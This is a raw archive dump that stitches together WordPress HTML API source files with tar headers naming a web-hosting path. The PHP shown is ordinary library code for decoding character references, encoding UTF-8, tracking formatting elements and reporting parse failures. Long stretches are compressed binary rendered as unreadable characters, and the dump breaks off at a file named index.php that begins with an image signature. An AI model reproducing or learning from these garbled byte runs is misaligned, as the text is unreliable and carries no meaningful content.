	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 *     '¬'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin', 0, $token_length );
	 *     4    === $token_length; // `&not`
	 *     '∉'  === WP_HTML_Decoder::read_character_reference( 'data', '&notin;', 0, $token_length );
	 *     7    === $token_length; // `&notin;`
	 *
	 * @since 6.6.0
	 *
	 * @global WP_Token_Map $html5_named_character_references Mappings for HTML5 named character references.
	 *
	 * @param string $context            `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text               Text document containing span of text to decode.
	 * @param int    $at                 Optional. Byte offset into text where span begins, defaults to the beginning (0).
	 * @param int    &$match_byte_length Optional. Set to byte-length of character reference if provided and if a match
	 *                                   is found, otherwise not set. Default null.
	 * @return string|false Decoded character reference in UTF-8 if found, otherwise `false`.
	 */
	public static function read_character_reference( $context, $text, $at = 0, &$match_byte_length = null ) {
		/**
		 * Mappings for HTML5 named character references.
		 *
		 * @var WP_Token_Map $html5_named_character_references
		 */
		global $html5_named_character_references;

		$length = strlen( $text );
		if ( $at + 1 >= $length ) {
			return null;
		}

		if ( '&' !== $text[ $at ] ) {
			return null;
		}

		/*
		 * Numeric character references.
		 *
		 * When truncated, these will encode the code point found by parsing the
		 * digits that are available. For example, when `&#x1f170;` is truncated
		 * to `&#x1f1` it will encode `DZ`. It does not:
		 *  - know how to parse the original `🅰`.
		 *  - fail to parse and return plaintext `&#x1f1`.
		 *  - fail to parse and return the replacement character `�`
		 */
		if ( '#' === $text[ $at + 1 ] ) {
			if ( $at + 2 >= $length ) {
				return null;
			}

			/** Tracks inner parsing within the numeric character reference. */
			$digits_at = $at + 2;

			if ( 'x' === $text[ $digits_at ] || 'X' === $text[ $digits_at ] ) {
				$numeric_base   = 16;
				$numeric_digits = '0123456789abcdefABCDEF';
				$max_digits     = 6; // &#x10FFFF;
				++$digits_at;
			} else {
				$numeric_base   = 10;
				$numeric_digits = '0123456789';
				$max_digits     = 7; // &#1114111;
			}

			// Cannot encode invalid Unicode code points. Max is to U+10FFFF.
			$zero_count    = strspn( $text, '0', $digits_at );
			$digit_count   = strspn( $text, $numeric_digits, $digits_at + $zero_count );
			$after_digits  = $digits_at + $zero_count + $digit_count;
			$has_semicolon = $after_digits < $length && ';' === $text[ $after_digits ];
			$end_of_span   = $has_semicolon ? $after_digits + 1 : $after_digits;

			// `&#` or `&#x` without digits returns into plaintext.
			if ( 0 === $digit_count && 0 === $zero_count ) {
				return null;
			}

			// Whereas `&#` and only zeros is invalid.
			if ( 0 === $digit_count ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			// If there are too many digits then it's not worth parsing. It's invalid.
			if ( $digit_count > $max_digits ) {
				$match_byte_length = $end_of_span - $at;
				return '�';
			}

			$digits     = substr( $text, $digits_at + $zero_count, $digit_count );
			$code_point = intval( $digits, $numeric_base );

			/*
			 * Noncharacters, 0x0D, and non-ASCII-whitespace control characters.
			 *
			 * > A noncharacter is a code point that is in the range U+FDD0 to U+FDEF,
			 * > inclusive, or U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF,
			 * > U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE,
			 * > U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF,
			 * > U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE,
			 * > U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, or U+10FFFF.
			 *
			 * A C0 control is a code point that is in the range of U+00 to U+1F,
			 * but ASCII whitespace includes U+09, U+0A, U+0C, and U+0D.
			 *
			 * These characters are invalid but still decode as any valid character.
			 * This comment is here to note and explain why there's no check to
			 * remove these characters or replace them.
			 *
			 * @see https://infra.spec.whatwg.org/#noncharacter
			 */

			/*
			 * Code points in the C1 controls area need to be remapped as if they
			 * were stored in Windows-1252. Note! This transformation only happens
			 * for numeric character references. The raw code points in the byte
			 * stream are not translated.
			 *
			 * > If the number is one of the numbers in the first column of
			 * > the following table, then find the row with that number in
			 * > the first column, and set the character reference code to
			 * > the number in the second column of that row.
			 */
			if ( $code_point >= 0x80 && $code_point <= 0x9F ) {
				$windows_1252_mapping = array(
					0x20AC, // 0x80 -> EURO SIGN (€).
					0x81,   // 0x81 -> (no change).
					0x201A, // 0x82 -> SINGLE LOW-9 QUOTATION MARK (‚).
					0x0192, // 0x83 -> LATIN SMALL LETTER F WITH HOOK (ƒ).
					0x201E, // 0x84 -> DOUBLE LOW-9 QUOTATION MARK („).
					0x2026, // 0x85 -> HORIZONTAL ELLIPSIS (…).
					0x2020, // 0x86 -> DAGGER (†).
					0x2021, // 0x87 -> DOUBLE DAGGER (‡).
					0x02C6, // 0x88 -> MODIFIER LETTER CIRCUMFLEX ACCENT (ˆ).
					0x2030, // 0x89 -> PER MILLE SIGN (‰).
					0x0160, // 0x8A -> LATIN CAPITAL LETTER S WITH CARON (Š).
					0x2039, // 0x8B -> SINGLE LEFT-POINTING ANGLE QUOTATION MARK (‹).
					0x0152, // 0x8C -> LATIN CAPITAL LIGATURE OE (Œ).
					0x8D,   // 0x8D -> (no change).
					0x017D, // 0x8E -> LATIN CAPITAL LETTER Z WITH CARON (Ž).
					0x8F,   // 0x8F -> (no change).
					0x90,   // 0x90 -> (no change).
					0x2018, // 0x91 -> LEFT SINGLE QUOTATION MARK (‘).
					0x2019, // 0x92 -> RIGHT SINGLE QUOTATION MARK (’).
					0x201C, // 0x93 -> LEFT DOUBLE QUOTATION MARK (“).
					0x201D, // 0x94 -> RIGHT DOUBLE QUOTATION MARK (”).
					0x2022, // 0x95 -> BULLET (•).
					0x2013, // 0x96 -> EN DASH (–).
					0x2014, // 0x97 -> EM DASH (—).
					0x02DC, // 0x98 -> SMALL TILDE (˜).
					0x2122, // 0x99 -> TRADE MARK SIGN (™).
					0x0161, // 0x9A -> LATIN SMALL LETTER S WITH CARON (š).
					0x203A, // 0x9B -> SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (›).
					0x0153, // 0x9C -> LATIN SMALL LIGATURE OE (œ).
					0x9D,   // 0x9D -> (no change).
					0x017E, // 0x9E -> LATIN SMALL LETTER Z WITH CARON (ž).
					0x0178, // 0x9F -> LATIN CAPITAL LETTER Y WITH DIAERESIS (Ÿ).
				);

				$code_point = $windows_1252_mapping[ $code_point - 0x80 ];
			}

			$match_byte_length = $end_of_span - $at;
			return self::code_point_to_utf8_bytes( $code_point );
		}

		/** Tracks inner parsing within the named character reference. */
		$name_at = $at + 1;
		// Minimum named character reference is two characters. E.g. `GT`.
		if ( $name_at + 2 > $length ) {
			return null;
		}

		$name_length = 0;
		$replacement = $html5_named_character_references->read_token( $text, $name_at, $name_length );
		if ( false === $replacement ) {
			return null;
		}

		$after_name = $name_at + $name_length;

		// If the match ended with a semicolon then it should always be decoded.
		if ( ';' === $text[ $name_at + $name_length - 1 ] ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		/*
		 * At this point though there's a match for an entry in the named
		 * character reference table but the match doesn't end in `;`.
		 * It may be allowed if it's followed by something unambiguous.
		 */
		$ambiguous_follower = (
			$after_name < $length &&
			$name_at < $length &&
			(
				ctype_alnum( $text[ $after_name ] ) ||
				'=' === $text[ $after_name ]
			)
		);

		// It's non-ambiguous, safe to leave it in.
		if ( ! $ambiguous_follower ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		// It's ambiguous, which isn't allowed inside attributes.
		if ( 'attribute' === $context ) {
			return null;
		}

		$match_byte_length = $after_name - $at;
		return $replacement;
	}

	/**
	 * Encode a code point number into the UTF-8 encoding.
	 *
	 * This encoder implements the UTF-8 encoding algorithm for converting
	 * a code point into a byte sequence. If it receives an invalid code
	 * point it will return the Unicode Replacement Character U+FFFD `�`.
	 *
	 * Example:
	 *
	 *     '🅰' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0x1f170 );
	 *
	 *     // Half of a surrogate pair is an invalid code point.
	 *     '�' === WP_HTML_Decoder::code_point_to_utf8_bytes( 0xd83c );
	 *
	 * @since 6.6.0
	 *
	 * @see https://www.rfc-editor.org/rfc/rfc3629 For the UTF-8 standard.
	 *
	 * @param int $code_point Which code point to convert.
	 * @return string Converted code point, or `�` if invalid.
	 */
	public static function code_point_to_utf8_bytes( $code_point ): string {
		// Pre-check to ensure a valid code point.
		if (
			$code_point <= 0 ||
			( $code_point >= 0xD800 && $code_point <= 0xDFFF ) ||
			$code_point > 0x10FFFF
		) {
			return '�';
		}

		if ( $code_point <= 0x7F ) {
			return chr( $code_point );
		}

		if ( $code_point <= 0x7FF ) {
			$byte1 = chr( ( $code_point >> 6 ) | 0xC0 );
			$byte2 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}";
		}

		if ( $code_point <= 0xFFFF ) {
			$byte1 = chr( ( $code_point >> 12 ) | 0xE0 );
			$byte2 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
			$byte3 = chr( $code_point & 0x3F | 0x80 );

			return "{$byte1}{$byte2}{$byte3}";
		}

		// Any values above U+10FFFF are eliminated above in the pre-check.
		$byte1 = chr( ( $code_point >> 18 ) | 0xF0 );
		$byte2 = chr( ( $code_point >> 12 ) & 0x3F | 0x80 );
		$byte3 = chr( ( $code_point >> 6 ) & 0x3F | 0x80 );
		$byte4 = chr( $code_point & 0x3F | 0x80 );

		return "{$byte1}{$byte2}{$byte3}{$byte4}";
	}
}
PKE�N\Գ�$$0class-wp-html-active-formatting-elements.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-active-formatting-elements.php000064400000016140151440304300026200 0ustar00<?php
/**
 * HTML API: WP_HTML_Active_Formatting_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of active formatting elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the list of active formatting elements is empty.
 * > It is used to handle mis-nested formatting element tags.
 * >
 * > The list contains elements in the formatting category, and markers.
 * > The markers are inserted when entering applet, object, marquee,
 * > template, td, th, and caption elements, and are used to prevent
 * > formatting from "leaking" into applet, object, marquee, template,
 * > td, th, and caption elements.
 * >
 * > In addition, each element in the list of active formatting elements
 * > is associated with the token for which it was created, so that
 * > further elements can be created for that token if necessary.
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#list-of-active-formatting-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Active_Formatting_Elements {
	/**
	 * Holds the stack of active formatting element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	private $stack = array();

	/**
	 * Reports if a specific node is in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of active formatting elements.
	 */
	public function contains_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $item ) {
			if ( $token->bookmark_name === $item->bookmark_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of active formatting elements.
	 */
	public function count() {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of active formatting elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of active formatting elements, if one exists, otherwise null.
	 */
	public function current_node() {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Inserts a "marker" at the end of the list of active formatting elements.
	 *
	 * > The markers are inserted when entering applet, object, marquee,
	 * > template, td, th, and caption elements, and are used to prevent
	 * > formatting from "leaking" into applet, object, marquee, template,
	 * > td, th, and caption elements.
	 *
	 * @see https://html.spec.whatwg.org/#concept-parser-marker
	 *
	 * @since 6.7.0
	 */
	public function insert_marker(): void {
		$this->push( new WP_HTML_Token( null, 'marker', false ) );
	}

	/**
	 * Pushes a node onto the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#push-onto-the-list-of-active-formatting-elements
	 *
	 * @param WP_HTML_Token $token Push this node onto the stack.
	 */
	public function push( WP_HTML_Token $token ) {
		/*
		 * > If there are already three elements in the list of active formatting elements after the last marker,
		 * > if any, or anywhere in the list if there are no markers, that have the same tag name, namespace, and
		 * > attributes as element, then remove the earliest such element from the list of active formatting
		 * > elements. For these purposes, the attributes must be compared as they were when the elements were
		 * > created by the parser; two elements have the same attributes if all their parsed attributes can be
		 * > paired such that the two attributes in each pair have identical names, namespaces, and values
		 * > (the order of the attributes does not matter).
		 *
		 * @todo Implement the "Noah's Ark clause" to only add up to three of any given kind of formatting elements to the stack.
		 */
		// > Add element to the list of active formatting elements.
		$this->stack[] = $token;
	}

	/**
	 * Removes a node from the stack of active formatting elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Remove this node from the stack, if it's there already.
	 * @return bool Whether the node was found and removed from the stack of active formatting elements.
	 */
	public function remove_node( WP_HTML_Token $token ) {
		foreach ( $this->walk_up() as $position_from_end => $item ) {
			if ( $token->bookmark_name !== $item->bookmark_name ) {
				continue;
			}

			$position_from_start = $this->count() - $position_from_end - 1;
			array_splice( $this->stack, $position_from_start, 1 );
			return true;
		}

		return false;
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * top element (added first) and walking downwards to the one added last.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_down() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > EM -> STRONG -> A ->
	 *
	 * To start with the most-recently added element and walk towards the top,
	 * see WP_HTML_Active_Formatting_Elements::walk_up().
	 *
	 * @since 6.4.0
	 */
	public function walk_down() {
		$count = count( $this->stack );

		for ( $i = 0; $i < $count; $i++ ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Steps through the stack of active formatting elements, starting with the
	 * bottom element (added last) and walking upwards to the one added first.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $html = '<em><strong><a>We are here';
	 *     foreach ( $stack->walk_up() as $node ) {
	 *         echo "{$node->node_name} -> ";
	 *     }
	 *     > A -> STRONG -> EM ->
	 *
	 * To start with the first added element and walk towards the bottom,
	 * see WP_HTML_Active_Formatting_Elements::walk_down().
	 *
	 * @since 6.4.0
	 */
	public function walk_up() {
		for ( $i = count( $this->stack ) - 1; $i >= 0; $i-- ) {
			yield $this->stack[ $i ];
		}
	}

	/**
	 * Clears the list of active formatting elements up to the last marker.
	 *
	 * > When the steps below require the UA to clear the list of active formatting elements up to
	 * > the last marker, the UA must perform the following steps:
	 * >
	 * > 1. Let entry be the last (most recently added) entry in the list of active
	 * >    formatting elements.
	 * > 2. Remove entry from the list of active formatting elements.
	 * > 3. If entry was a marker, then stop the algorithm at this point.
	 * >    The list has been cleared up to the last marker.
	 * > 4. Go to step 1.
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#clear-the-list-of-active-formatting-elements-up-to-the-last-marker
	 *
	 * @since 6.7.0
	 */
	public function clear_up_to_last_marker(): void {
		foreach ( $this->walk_up() as $item ) {
			array_pop( $this->stack );
			if ( 'marker' === $item->node_name ) {
				break;
			}
		}
	}
}
PKE�N\�J���7class-wp-html-active-formatting-elements.php.php.tar.gznu�[�����Y�o7�W��,�ZIN|9�5F��Ҟ���A P������r�
9��73$W+Y��Ĺ�E"[$�߼֩��^
&��^^�2S;�z�<�*��D=\�x.{qƋ"�-�[y#��63n�T�Hdb&�-�y��O�7GG/֟>=�o��/�zxt��?z݇�Wo^�����<ea���	Y�����f���&{�~���=;��8fחC�2<'�<<|�=�
@��osO�D�km�K#h��-�Q�@n�v�,��t��}��k�?j#_V"a����e��1�Ն%�E�*7�l�ĀB6�Op����1s0eK��
�^��T�1�/'
�#K��0�g��f���P�J�e��da����,���g`q��n5K�J2�f���(�Sh��|R8j��*���\��&L�Z5&1�b�
���zf*��F��
��`%*1O�b͂,x�g�v��S��H�(��8&n��0H�Fq�b�[�U��[E!��7���=c�L�)|k�s�,�{]Рn��x�H��0�㴲�7�v�:F�J@��%'�I���S0 bk�J�.-�s��x��

�x�{i��,�s�F"�&6x�s�c�’�E��Z�����Y���,�6/�{��E.����']m&����?��+F!�\�8�PwA�Cz��l`Vh`Z�YR��̈�0.>bb�b�j�J�+���O��k6�Y؞�w�4|�>8i.�� rm0�@�v�c3��~�H�)=�%d8>[Փ�9g��z�"��ܮc`�-
`F�]��Єg*C%_�5Z�@��)�B�"�f�з
`J�ՆeP?�y6�y����I^�&n{�h��bZ*>���̝]��
{kJq��M�߬6�<+p�vŵ�U�Tϱ�,�>.	ƥ��l���@.��$����.)�m;{xQn)��>��(�ic�w���Q��j�B�(��N*`�/Q�Y���V�/$d�9$�;��E�U
��`��%T�J�M�u`pXwޫ�A�kݵ����X�~L��rAe��Z�:�6xf{�Z��+}�IJ}�j}c�b��֊-����&rv��ο9tn@������ٍ����E^i�|�m�~��;���U���C�`~r��h�'JM�̓�G(2���.�
/T+j�7�/��8=���q�gP�l�
�v�Yޡ��c�Kj��ǹ�da� �A���s[�-�(�㺺��P�:5�V�}0[	Bx��9*-���iQ�]g���d
V�����+1z�O�|@e^�\�p�OM��԰�xB�SMY�9^�2����APhr���B�ٹ^�_�PM0�lI�H���룃��Kԍ��il�AN��r��ube*��C�G�->���E�F�0 Z|��qO�@�#~,��KT��Չf������4O�vn�8�B6ma6�
z_X�3��&�	�S1ȦT'6Ay-�\�5z=P�xV3�޽�4����'��.(��*�U`���!լʥ�@�"��K[kb��ڬ�p�/y��6�9��l�Vq���{����m�_���8HU���&_�YB)��h�f;$F4�
��!V۪�:��C*�wƀm��V��t��I�{IBq)���꼊�6�&�@��4�+H�蹚s�TA���;�ee	rzW5Jn!�.��ڋ+`1���w��h�L�|��ݟ�q���V{����
Nk��N����)�����t
jd'�5��G��Ó�#�T��gڌ�I �eр���o���ݯ���Շ���3�vK�h�嫖��~Ĉ؍lΚ���`,owz7�������UPݟ�6�p�<nl@�����\8�}%���S���߇�[H�%+���'��o�r����0/�{@N!��*�>��W!N��d�]��\��v@}<��2�W����q�E_��aT4Ů]{�V���T|Zӂ�d$2=��G	�"���9�(�QBÄ�60��0�� �_��h�C�;z�����C�Y`4T\ۘ��j�;��6�6����fv_uC��8m�xM/�9vI�nw�rI�q6�@>s�7 �s-��.���ԑr��3D�s���~ָ��>bܝ���9�����S�}Gbw��2�´�}���5�z�,6�Zx��U�T�:��B�7��D�uk�ʪ�o"�����������<?���7Գ�$PKE�N\��)�+class-wp-html-unsupported-exception.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-unsupported-exception.php000064400000007026151440300300025326 0ustar00<?php
/**
 * HTML API: WP_HTML_Unsupported_Exception class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for indicating that a given operation is unsupported.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * The HTML API aims to operate in compliance with the HTML5
 * specification, but does not implement the full specification.
 * In cases where it lacks support it should not cause breakage
 * or unexpected behavior. In the cases where it recognizes that
 * it cannot proceed, this class is used to abort from any
 * operation and signify that the given HTML cannot be processed.
 *
 * @since 6.4.0
 * @since 6.7.0 Gained contextual information for use in debugging parse failures.
 *
 * @access private
 *
 * @see WP_HTML_Processor
 */
class WP_HTML_Unsupported_Exception extends Exception {
	/**
	 * Name of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * This does not imply that the token itself was unsupported, but it
	 * may have been the case that the token triggered part of the HTML
	 * parsing that isn't supported, such as the adoption agency algorithm.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token_name;

	/**
	 * Number of bytes into the input HTML document where the parser was
	 * parsing when the exception was raised.
	 *
	 * Use this to reconstruct context for the failure.
	 *
	 * @since 6.7.0
	 *
	 * @var int
	 */
	public $token_at;

	/**
	 * Full raw text of the matched token when the exception was raised,
	 * if matched on a token.
	 *
	 * Whereas the `$token_name` will be normalized, this contains the full
	 * raw text of the token, including original casing, duplicated attributes,
	 * and other syntactic variations that are normally abstracted in the HTML API.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	public $token;

	/**
	 * Stack of open elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $stack_of_open_elements = array();

	/**
	 * List of active formatting elements when the exception was raised.
	 *
	 * Use this to trace the parsing circumstances which led to the exception.
	 *
	 * @since 6.7.0
	 *
	 * @var string[]
	 */
	public $active_formatting_elements = array();

	/**
	 * Constructor function.
	 *
	 * @since 6.7.0
	 *
	 * @param string   $message                    Brief message explaining what is unsupported, the reason this exception was raised.
	 * @param string   $token_name                 Normalized name of matched token when this exception was raised.
	 * @param int      $token_at                   Number of bytes into source HTML document where matched token starts.
	 * @param string   $token                      Full raw text of matched token when this exception was raised.
	 * @param string[] $stack_of_open_elements     Stack of open elements when this exception was raised.
	 * @param string[] $active_formatting_elements List of active formatting elements when this exception was raised.
	 */
	public function __construct( string $message, string $token_name, int $token_at, string $token, array $stack_of_open_elements, array $active_formatting_elements ) {
		parent::__construct( $message );

		$this->token_name = $token_name;
		$this->token_at   = $token_at;
		$this->token      = $token;

		$this->stack_of_open_elements     = $stack_of_open_elements;
		$this->active_formatting_elements = $active_formatting_elements;
	}
}
PKE�N\�)�|cc$class-wp-html-decoder.php.php.tar.gznu�[�����<]o�uy��uV%��H��E��.���l�'Y,ȫ�%9�p���R�EZ��m�"i�<(���-�(��!�b�@�zιs�R��M���E�9���}�9�rG�Xl��'�K�u��x�m�&�w�i_D�8P�w��x����EX��&�Y��ٯT2�K�J��_�Ny�\��vK�r�wvv��Xiҏ�L�����b�����OAy��m?xp�=`�;/NX�U���~��/݆T1#�Bɱ�E�G,���X,�c6�~��~�D�~,����~6��>�u�_��p�Ϣ�~��
@�l��_,���{D�m_�[C��`F����8w���x���4�{S�P�q�fn<b�
�+����C	TDL��",��x�Y���E8v}�H�y�!7C�;n̘��;��R0�#G(A�C����s�C��Fq<9�P�^�C1�|a��{�=4#N��QO�m|r�p$Qi��O��6�he6�
��y�o�D6�k>�x���.�p�rֺ��3P6�p��;2�qЌ�+���H�+e�E�n�%�r��|���G#rc{�m%�����u�;,D��,�Nx�����G �����\�@WᮏA�d�~� ۟��b�H��u��i�
�-�N����O<XZ��D�lw5�n|�N'���+�W�K�N�� �v^o�B��H�m��Ȭw��>�b��%�������.��c�G�,v)��\�\�Pm�[�� ���g0�d�-���|J��/P϶%����tO�C �ɂϛiŢ���{A�I��A��F�@	��twm{5c�r)�8�6u�J��4N�0<��`	���1��kc��f?fiR�Hk�Έ�Q���[�۵O��"�L�͟�q�P)XK��۔0�>\��Ĺ�`mݍ���A��r6���=�i>��:���F
:�Gs-���a(x���lH�PD���C�f
1˶MkA�o��5����'Y��f�:H(r�!f�bf-���C�]�����g��T߀�nkk�mn�:R �`�YJ��֔oS'I��;� �4�@�E�����O������f��-�#=f�C�`�w��Nc�ʼn"y�[��hcHa��p�F�{6☌y`���8IR�D:�`��G��^‹��!��@���=�DK8[y�UA6�k���O�;bF�a��i��p�hR^��8m�ҩ���8�d�$j�������ޠn���:���t�Gi0n�����dD꬏5j���6�(�tAo�Z�0Eb8��/R�6�Cg�!%�1�<q�أ���Y�U� �;�?i2�	9�"(�d�m�	�l��>n�����k&�Ifl6G��1&ٲ TF��P�C��r�q?p�c*V����������}��Os���\������h�nu��-�K�P��w�FD��,�c��ⳓ4�gY+8Z�&?Q
���*$2��6���"��PH)�2_&&-'k�`�<�C����Y�ف�=U�y`6�J���c�H�S�rX�!![�5e�2���J�C�M��P�۬ő�O	@S�~8
b;�H6k�mv>C���U��j���c��4'ӈu���xT�X���'�k�"���S���W׍!� +��m�vh�Z���j�	m\P�x�](4��bʞ��&��E]��"k#Y�0�rQ
�TQEXR���	��`���u�nB�lcC��ڐ��?��v�I�A�?�9���r�r�^�X,�^���W�x�ub��`��!)=
fn�]!�ҘCo;��hS!��q�;��Zl��|�ɯkׄ�!G�Uh,U�Y����Li6��;E�,��KeAuΧ�&A�C%��q���ek�ΐ3q�$��+�[πDžo)r��_��B��P�F��7Y&I�j�Vs)�{���Ϋ��f���"(51���41��n�|�uE�u�|K_U)@j�DI��ip
8gQw���ط�o�c.���X�'�I53�$V_�N���f�K(?lh���*�\�1��R��ć܏<�|Cf5#E�]M �	0�KT�ɲ�:G�˛X(���-a��K������O��Z�$'�M�:���H��D�E���&�I�S�[�޿�$(-�iA��N�{%d:�3JS��~�Fd
�莭��ȝD#,L�`�dw�!M�enI��C��
<j����ifP
�4��G��p���_��7�\b&����*�%��\����d$��4Un���M唦棊(;�z�%����x�'l�k��>�L:#Ppˆ�,dn�tVX�N��dm��Yχ�r���d�O���)DQ�3���P&ܴƥ�ت��3
��i�H�,me���ƭu���/�%p������*N�ٝ�V��s�S�X.��AY��[��|8�@_��@��B=�߻%w~�l��Wp�,��P*��-���u�����h"0��|��	�ů/%5��Ȱ	���	���ؒ��d�N��d�>�y���L�N�V\�gA;�I��A���P��0����*���B�u.oL������!��&a7�_q�㗞���Bf
y�q�{R~T:�m
$*p*�Ü�&��_�ԣ|��G���r
�o�`FG�0�S)Pt������g��
8�y$��J�t�*�[E�&���:B�9#����ozƤ�V?Q�M�V�.�f-k�ɰ�y��N������TkX��A�)���.��@�H���TD�C'I�u�����-�}o�kS�)*���x���o�1A�]*��V��T������h�r
~̯5����i3F��Z�CC���S�9KIx�H(���/}�R�>�meͮ���g�K�G����7v�Pr#�T�D�A�?��zn���tJ�H�.�W9`�-̚c5��!��T��c�f�x9�Cf�}����n$�.�@!3��=6���rGs�bC��Y����K{=ђ���,���9U��[7�=�
351TmwJ2L���R[���E�ڏ�1,�vIj0��w��7�٬\�8[���X!iD(�r�rK�?�+��#��6'O�fPr�t�Q
��S�>a�}L��S�9��Xb��9IJ#�������!�Fd��-eO���v��!<�ץF�4���Mj�XW�lr��g��%��	���$��3�d��=�5G�!���H��(�p҂�7��i�^	:����V3/���oY��Ȏ١����~��a+z��G��Ȟ٧;~�H�>�#z�@�T�Hu���~SӰO��S=R�#u=Ҙ����45lS��laIi���Ҋ�F}5V/�IuPU\<,)ݕ
�xwB^ڲ�G_
�U��T�����S#MN�R>�z�ޘp	y�Bgx_�5����cJ��<�0,�lI\˛l��M�f�p�Йߚ<�WB%�eA�s,|7N��Y$����]�b4N/[̆t���k��֓
X��^��"�p�AwM��/��N�"�B4��3By]��YT(���!������>(���#�	�i[T��xr�,��S��'��E�b�Nz��E�zݥ�L04�naI�M�X���P��U��3pե�uuˏ�f1?��B/�K�%�P�R^u�4�O�k%Emf{��=$�냒�V�?��j+ٮfR�]�qw,�U�*x�MY+]�j����ּ8;e��g/�������<(�aϒ�eܔ7� $@;�rMc�A���g'Mvr��Pe|qکuڧ/ً�����.�Z*Ww��]�z�/����	;iv:�3�b�۝���)�ϿJ��ԓ+8�qz�tźoO���S�p��ӳ�N_vj'�yr�~u�>�)�LM)�)��Z��3 ��!U�P�,��[���
���n�N�^o��/^�N��c�z����6��b���*�s^�O`=�˯~m�z�@�Y�k��ȶZ�\J�^;�m�6��nU�j����^��_�g�Fc����=��z!�g���Y��6�K���ˌ�T~��țK��A���X���EZ���P���-%U��ڢ�~���%]%�:k?{�b�ߦ�jϮ�E�.�Ij�\��,�t�OSF�Z%ozz6�A�_���P�@͗����S`
F�|a�����a�|GƌN��f�;��rByI�0ćr��"�&ڃ��%!i�I~�r����0o��My�W}����Xҫ&>R]�#:pV�KX��K�6v�Z�aߗ��Z�I��p��d���ܹ>Omv�_}a�V�Q��v4]H�v�;��$J�[VO�}�e�`��ZG��Em���w���rԂ�v1ƚE�k{�:�����O���w�#8y3�� ��w.<��;�EY�I��dߪ��b���V�*Att���j�@�e:�3��U��*����ш�vs�D���
V�)��d/
�fuO�
�ba�.m9,��k��	��ς�pdj�/���|`7o�m�G�]QVl�K4������N�ޑn=�c}c�cV-�I�}P�7tS]bȦ���;�S��''0c]5��i��H<v���i�Ͽ�I��L����\��С^޾%��qV/OB!��a�ؑ�'�Cu�E|@��'�^c!S�ϲ���6�ȲHR�PHmF7�2�>B�{N���/ԑ�*�3�٤�wt���j9�I��ʃ@�P��}P�*���9���0����d�_�06�J��iUNu*ćNe�n�]Gн���Z��O����wt/�̊mu�Ԩi�C���V�Q֥�p�V��Z�EK&���Ȼ��4�!�ް���}��Pr���ښ�OI�`׹�Ƨ�7��f�p�Dߍ���&����ߩ�A^�n��k����+�����_���]�@E��ͺ|'laPC��F���WI�1�H]�E�
EAw���A[�1�!��oc_@��>B㠔�I�����ihR�F��
��m����5[�Q�,�Z���XG�!��9���}df�K�i��;ކ���A�t�\Q��/�:��ߝw߽��V��$�w��l3yZ VO�Ƭɿ��`�5�a�b��N�n$S�Nx���v�|��6[����p���R��"[��R���hV宲�Mt�o�D��޻{��φo�o�o�o����V2HPKE�N\�jZ�
�
10.tarnu�[���index.php000064400000241464151440300030006365 0ustar00‰PNG

   
